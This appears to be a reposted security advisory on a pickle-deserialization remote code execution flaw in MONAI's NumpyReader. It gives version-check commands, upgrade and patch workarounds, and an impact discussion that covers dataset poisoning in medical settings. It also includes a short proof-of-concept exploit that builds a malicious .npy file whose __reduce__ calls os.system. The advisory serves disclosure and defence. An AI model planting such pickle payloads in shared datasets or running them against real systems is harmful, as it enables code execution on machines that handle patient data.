Listen to this Post
Summary
The `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` at line 1276, enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547) at the time of discovery. The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user—the docstring explicitly states that `kwargs` are accepted “except allow_pickle“.
The vulnerability arises because `allow_pickle=True` enables Python’s pickle protocol during NumPy loading. Pickle is inherently unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method. The `NumpyReader` is automatically selected by MONAI’s `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline—including LoadImage, PersistentDataset, CacheDataset, and SmartCacheDataset—is vulnerable.
The MONAI project has already addressed similar deserialization issues in other code paths: `torch.load` calls now use `weights_only=True` (following GHSA-6vm5-6jv9-rjpj), and `PersistentDataset` defaults to weights_only=True. However, `NumpyReader` was not included in these security improvements. Additionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` (line 1433 of dataset.py), demonstrating that `NumpyReader` was overlooked during security hardening. The user cannot override this behavior because the hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs.
Data flow:
- User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class
- A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset)
3. `LoadImage` selects `NumpyReader` based on file extension
4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)`
- Malicious pickle payload in the `.npy` file executes arbitrary code
DailyCVE Form:
Platform: MONAI
Version: < 1.6.0
Vulnerability: RCE (Pickle Deserialization)
Severity: High (CVSS 7.8)
date: 2026-08-19
Prediction: 2026-08-19 (fixed in 1.6.0)
What Undercode Say:
Check if MONAI is vulnerable (version < 1.6.0)
pip show monai | grep Version
Verify the vulnerable code exists in the installed package
grep -n "allow_pickle=True" $(python -c "import monai.data.image_reader; print(monai.data.image_reader.<strong>file</strong>)")
Check if the fix is present (allow_pickle parameter added)
python -c "from monai.data.image_reader import NumpyReader; import inspect; print('allow_pickle' in inspect.signature(NumpyReader.read).parameters)"
Analytics from the advisory:
- GHSA ID: GHSA-wg9g-w2j2-8pgr
- CVSS Score: 7.8 (High)
- Published: 2026-08-19
- Affected Component: `monai` < 1.6.0
- Fixed in: 1.6.0
Exploit: (Educational Purposes!)
!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np
class MaliciousPayload:
def <strong>reduce</strong>(self):
return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))
tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)
With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)
Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
os.remove(proof)
os.remove(malicious_npy)
os.rmdir(tmpdir)
Expected output:
[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed
Protection:
Upgrade to MONAI 1.6.0 or later, where `NumpyReader` has been updated with an `allow_pickle` boolean argument that is disabled by default.
pip install --upgrade monai>=1.6.0
If upgrading is not immediately possible, the following workarounds are available:
1. Avoid loading untrusted .npy/.npz files through MONAI’s `LoadImage` transform or any dataset pipeline.
2. Use the environment variable introduced in 1.6.0 (not available in vulnerable versions) to control pickle loading:
In MONAI 1.6.0+, pickle loading is disabled by default To re-enable (not recommended for untrusted data): export MONAI_ALLOW_PICKLE=1
3. Manually patch the vulnerable line in `monai/data/image_reader.py` by changing `allow_pickle=True` to `allow_pickle=False` (line 1276).
4. Use an alternative reader or preprocess .npy/.npz files outside of MONAI’s automatic pipeline.
Impact:
An attacker can achieve arbitrary code execution on any machine running MONAI by:
– Dataset poisoning: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI’s standard pipeline, arbitrary code executes.
– Supply chain attack: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run.
– Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.
This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI). The vulnerability affects all standard data pipelines including LoadImage, PersistentDataset, CacheDataset, and SmartCacheDataset, making it trivially exploitable in any MONAI workflow that processes `.npy` or `.npz` files.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

